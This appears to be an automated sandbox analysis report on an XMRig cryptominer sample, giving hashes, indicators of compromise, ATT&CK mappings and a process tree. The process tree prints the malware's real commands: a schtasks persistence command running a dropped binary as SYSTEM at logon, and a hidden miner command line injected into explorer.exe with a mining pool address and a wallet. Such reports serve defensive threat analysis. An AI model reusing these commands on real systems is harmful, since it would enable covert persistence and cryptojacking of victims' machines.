xmrig | fb49ad3836c334d8d06a36a45994eaa52d7629ecbf765fe46aa53825aef56e56

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7v20210410
submitted
07/07/2021, 17:06

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General

Target
ddd1b892cae78b0b9759353bc4f0b2c6.exe
Size 174KB
Sample210707-gp1fnt4w4a
SHA256 fb49ad3836c334d8d06a36a45994eaa52d7629ecbf765fe46aa53825aef56e56
MD5 ddd1b892cae78b0b9759353bc4f0b2c6
SHA1 29b088bc617ce93293700232ba864ecc4e5c5493
SHA512 34f60296876e38703027b41f40b2d243a7658693ffb24a7dc71776ae5ec88d0a78f28686fe1ea3598b08287529fbfdccbd4644cb9e3cf620cdab7624dd54a5eb
MD5 SHA1 SHA512

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

resource	yara_rule
behavioral1/memory/2000-84-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2000-85-0x00000001402EB66C-mapping.dmp	xmrig
behavioral1/memory/2000-87-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
1612	sihost64.exe
320	smssmanagment.exe

Loads dropped DLL 2 IoCs

pid	Process
296	ddd1b892cae78b0b9759353bc4f0b2c6.exe
296	ddd1b892cae78b0b9759353bc4f0b2c6.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 320 set thread context of 2000	320	smssmanagment.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1716	schtasks.exe
1348	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
296	ddd1b892cae78b0b9759353bc4f0b2c6.exe
296	ddd1b892cae78b0b9759353bc4f0b2c6.exe
320	smssmanagment.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe
Token: SeDebugPrivilege	320	smssmanagment.exe
Token: SeLockMemoryPrivilege	2000	explorer.exe
Token: SeLockMemoryPrivilege	2000	explorer.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 296 wrote to memory of 1276	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	29
PID 296 wrote to memory of 1276	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	29
PID 296 wrote to memory of 1276	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	29
PID 1276 wrote to memory of 1716	1276	cmd.exe	31
PID 1276 wrote to memory of 1716	1276	cmd.exe	31
PID 1276 wrote to memory of 1716	1276	cmd.exe	31
PID 296 wrote to memory of 1612	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	32
PID 296 wrote to memory of 1612	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	32
PID 296 wrote to memory of 1612	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	32
PID 296 wrote to memory of 320	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	33
PID 296 wrote to memory of 320	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	33
PID 296 wrote to memory of 320	296	ddd1b892cae78b0b9759353bc4f0b2c6.exe	33
PID 320 wrote to memory of 564	320	smssmanagment.exe	35
PID 320 wrote to memory of 564	320	smssmanagment.exe	35
PID 320 wrote to memory of 564	320	smssmanagment.exe	35
PID 564 wrote to memory of 1348	564	cmd.exe	37
PID 564 wrote to memory of 1348	564	cmd.exe	37
PID 564 wrote to memory of 1348	564	cmd.exe	37
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38
PID 320 wrote to memory of 2000	320	smssmanagment.exe	38

C:\Users\Admin\AppData\Local\Temp\ddd1b892cae78b0b9759353bc4f0b2c6.exe
"C:\Users\Admin\AppData\Local\Temp\ddd1b892cae78b0b9759353bc4f0b2c6.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"C:\Users\Admin\AppData\Roaming\smssmanagment.exe"' /RU "SYSTEM" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1276
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"C:\Users\Admin\AppData\Roaming\smssmanagment.exe"' /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1716
- C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Users\Admin\AppData\Roaming\smssmanagment.exe
  "C:\Users\Admin\AppData\Roaming\smssmanagment.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"C:\Users\Admin\AppData\Roaming\smssmanagment.exe"' /RU "SYSTEM" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:564
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"C:\Users\Admin\AppData\Roaming\smssmanagment.exe"' /RU "SYSTEM"
      4⤵
      Creates scheduled task(s)
      PID:1348
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=4AXqAB3xATp3qXvA883jjVbbvQtqtFoVPLy79LU8TjqiWkK71DnXYAkRsgExycBRqsJ4yBNxAFnqvNmz6KhCDv1Z622gFLs.w2/explorer --pass= --cpu-max-threads-hint=50 --cinit-remote-config="qWmSJPvneRNQfbpvLXoXBy3JpXXnkAtHjwumY21IlTMeLBYzClnsyLDbzMvGOMO4" --donate-level=0 --cinit-idle-wait=5 --cinit-idle-cpu=100 --tls --cinit-stealth
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/296-61-0x00000000007C0000-0x00000000007CC000-memory.dmp

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memory/296-62-0x000000001C930000-0x000000001C932000-memory.dmp

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memory/296-59-0x000000013F4F0000-0x000000013F4F1000-memory.dmp

Download

memory/320-83-0x00000000020D0000-0x00000000020D2000-memory.dmp

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memory/320-74-0x000000013F670000-0x000000013F671000-memory.dmp

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memory/320-79-0x0000000002180000-0x0000000002182000-memory.dmp

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memory/1612-77-0x0000000000750000-0x0000000000752000-memory.dmp

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memory/1612-72-0x000000013F680000-0x000000013F681000-memory.dmp

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memory/2000-84-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/2000-86-0x0000000001E00000-0x0000000001E20000-memory.dmp

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memory/2000-87-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/2000-88-0x0000000001FB0000-0x0000000001FD0000-memory.dmp

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